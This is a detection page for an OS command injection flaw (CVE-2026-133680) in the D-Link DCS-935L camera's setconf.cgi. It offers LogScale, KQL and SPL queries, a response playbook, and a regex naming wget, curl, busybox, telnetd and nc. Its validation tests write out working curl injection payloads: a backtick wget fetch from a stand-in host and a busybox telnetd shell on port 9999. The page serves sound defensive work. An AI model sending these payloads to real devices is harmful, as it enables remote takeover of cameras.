Skip to content
CVE-2026-133680 CrowdStrike LogScale · LogScale

Detect D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680) in CrowdStrike LogScale

Detects exploitation of CVE-2026-133680, an OS command injection vulnerability (CWE-77, CWE-78, CVSS 8.6) in the loginRouter function of web/cgi-bin/localrecording/setconf.cgi on the D-Link DCS-935L camera firmware 1.10.01. An attacker supplies crafted input containing shell metacharacters through the account/password argument of the setconf.cgi endpoint, which is passed to a system shell, allowing remote command execution on the device. A public exploit is available. This detection surfaces HTTP requests to the vulnerable CGI containing command-injection patterns and, where device telemetry is available, anomalous child-process spawns from the web/cgi handler.

MITRE ATT&CK

Tactic
Initial Access Execution

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
// df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence
#event_simpleName=/^(Http|DnsRequest|NetworkConnect)/ OR #repo="proxy"
| (HttpPath=/setconf\.cgi/i OR RequestUrl=/setconf\.cgi/i)
| (RequestUrl=/(?i)(;|&&|\|\||`|\$\(|%3B|%7C|%60|wget|curl|busybox|\/bin\/sh|telnetd|nc )/ OR HttpPath=/(?i)(;|`|\$\(|wget|curl|busybox)/)
| groupBy([aid, RemoteAddressIP4, RequestUrl], function=count())
| sort(_count, order=desc)
high severity medium confidence

CrowdStrike CQL (LogScale) query over HTTP/network telemetry for requests to the DCS-935L setconf.cgi endpoint carrying command-injection characters or downloader/shell keywords.

Data Sources

Falcon Network TelemetryProxy IngestNG-SIEM HTTP Events

Required Tables

HttpRequestNetworkConnect

False Positives & Tuning

  • Scanner and pentest probes against the device.
  • Legitimate configuration requests containing special characters.
  • Signature/replay validation traffic.

Other platforms for CVE-2026-133680


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Command injection via setconf.cgi query string (lab camera/emulator)

    Expected signal: Proxy/firewall/IDS web log of a request to localrecording/setconf.cgi containing a ';' and the string 'id'.

  2. Test 2 Download-and-execute injection via POST body

    Expected signal: Web log entry for setconf.cgi with a backtick and 'wget' in the request body, followed by an outbound HTTP fetch from the device.

  3. Test 3 URL-encoded metacharacter injection

    Expected signal: Web log of setconf.cgi request containing %3B and 'busybox'/'telnetd'.


Response Playbook

Triage

  1. Confirm the destination IP is a D-Link DCS-935L camera running firmware 1.10.01 (the version named in CVE-2026-133680); check device inventory/DHCP fingerprints and the HTTP Server banner.
  2. Extract and URL-decode the full setconf.cgi request (URI + POST body) and identify the exact injected command sequence following shell metacharacters (;, &&, |, `, $()).
  3. Determine whether the request succeeded (HTTP 200 vs error/redirect) and whether it reached loginRouter; correlate the source IP against known-good management hosts.
  4. Check for a burst or sequence of setconf.cgi requests from the same source, indicating iterative exploitation or payload staging.

Containment

  1. Block the attacker source IP at the perimeter firewall and restrict management access to the camera's web interface to a trusted VLAN/ACL.
  2. Isolate the affected DCS-935L from the internet and from lateral network segments until it can be inspected or re-flashed; disable UPnP/port-forwarding exposing the CGI.
  3. If compromise is confirmed, power-cycle and factory-reset the device, then re-provision on isolated firmware.

Evidence Collection

  1. Preserve proxy/firewall/IDS logs of all setconf.cgi requests from the source IP, including full URI and request bodies, with timestamps.
  2. If device access is available, capture the camera's web/cgi logs, running process list, crontab, and any files written to /tmp or /var for forensic review.
  3. Capture a full packet trace to/from the device to recover the injected command, any second-stage download URLs, and C2 connections.

Escalation Criteria

  • !Escalate to incident response if the injected command includes download-and-execute tooling (wget/curl/tftp of a binary) or outbound connections from the device follow the request.
  • !Escalate if multiple cameras or other IoT devices show the same setconf.cgi injection pattern, indicating a botnet-style campaign.
  • !Escalate if the device subsequently initiates scanning, telnetd/backdoor listeners, or lateral movement into internal subnets.

Investigation Guide

Forensic Artifacts

  • >Web/CGI access logs on the camera showing setconf.cgi requests with injected parameters.
  • >Unexpected files in /tmp, /var/tmp, or /mnt and new/modified crontab entries on the device.
  • >Anomalous child processes (wget, curl, tftp, sh, telnetd, nc) parented by the web/cgi handler, and new listening sockets.

Tuning Guidance

Baseline the legitimate management hosts and NMS tools that configure DCS-935L recording settings and allowlist them by source IP to cut false positives. Scope the detection to subnets/VLANs where DCS-935L cameras actually live. If authorized vulnerability scanners regularly probe these devices, exclude their source IPs or correlate with scan-window schedules rather than disabling the rule. Tighten by requiring both the setconf.cgi path AND decoded metacharacters, and raise confidence when device-side telemetry confirms a matching child-process spawn.


Hunting Queries

Surfaces source IPs making repeated or varied requests to setconf.cgi against DCS-935L cameras, a signal of enumeration or iterative command-injection attempts even without obvious metacharacters.

Hunting — KQL
kql
// df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "setconf.cgi" | summarize Requests=count(), Payloads=make_set(RequestURL, 20) by SourceIP, DestinationIP | where Requests > 3 | order by Requests desc
Hunting — SPL
spl
``` df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=web uri="*setconf.cgi*" | stats count values(uri) as uris dc(uri) as distinct_uris by src_ip dest_ip | where count > 3 | sort - count

Atomic Red Team Tests

Test 1 Command injection via setconf.cgi query string (lab camera/emulator)
linux

Sends a GET request to the DCS-935L setconf.cgi endpoint with a semicolon-delimited injected command in a parameter to exercise the loginRouter command-injection path.

Command

bash
curl -sk "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi?loginRouter=admin;id" -o /tmp/cve_2026_133680_resp.txt

Cleanup

bash
rm -f /tmp/cve_2026_133680_resp.txt

Expected Telemetry

Proxy/firewall/IDS web log of a request to localrecording/setconf.cgi containing a ';' and the string 'id'.

Expected Detection

KQL/SPL/EQL network rules fire on the setconf.cgi path plus the ';' metacharacter.

Test 2 Download-and-execute injection via POST body
linux

POSTs a crafted body containing a shell command substitution that fetches a second-stage payload, simulating botnet-style exploitation.

Command

bash
curl -sk -X POST "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi" --data 'loginRouter=x`wget http://203.0.113.9/m -O /tmp/m`' -o /tmp/cve_2026_133680_post.txt

Cleanup

bash
rm -f /tmp/cve_2026_133680_post.txt

Expected Telemetry

Web log entry for setconf.cgi with a backtick and 'wget' in the request body, followed by an outbound HTTP fetch from the device.

Expected Detection

Body-inspecting SPL/EQL/CQL rules match on 'wget' and backtick; device telemetry shows wget spawned by the cgi handler.

Test 3 URL-encoded metacharacter injection
linux

Sends URL-encoded shell metacharacters to evade naive path-only logging and verify decoded-pattern matching.

Command

bash
curl -sk "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi?loginRouter=a%3Bbusybox%20telnetd%20-l%2Fbin%2Fsh%20-p9999" -o /tmp/cve_2026_133680_enc.txt

Cleanup

bash
rm -f /tmp/cve_2026_133680_enc.txt

Expected Telemetry

Web log of setconf.cgi request containing %3B and 'busybox'/'telnetd'.

Expected Detection

Detections matching encoded (%3B, %7C) and decoded patterns fire; busybox/telnetd keywords flagged.

Related Detections